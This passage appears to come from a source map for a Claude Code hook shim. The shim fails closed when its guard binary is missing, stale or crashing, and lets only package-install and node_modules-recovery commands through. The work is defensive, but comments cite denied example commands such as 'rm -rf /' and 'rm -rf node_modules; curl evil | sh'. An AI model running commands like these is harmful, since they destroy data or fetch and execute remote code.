plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nexport const RECOVERY_ALLOW_ERE =\n '^rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$';\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const RECOVERY_ALLOW_JS =\n /^rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?\\s*$/;\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([0-9][0-9A-Za-z.-]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\nif printf '%s' \"\\$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}' || printf '%s' \"\\$CMD\" | grep -Eq '${RECOVERY_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer/recovery so the assistant can break the deadlock\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: ${RECOVERY_CMD}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n REASON=\"❌ webpieces is out of date: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry.\"\nelse\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\nfunction findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
|
|
1
|
+
{"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n /^(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\\s*$/;\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nexport const RECOVERY_ALLOW_ERE =\n '^rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$';\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const RECOVERY_ALLOW_JS =\n /^rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?\\s*$/;\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([0-9][0-9A-Za-z.-]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would 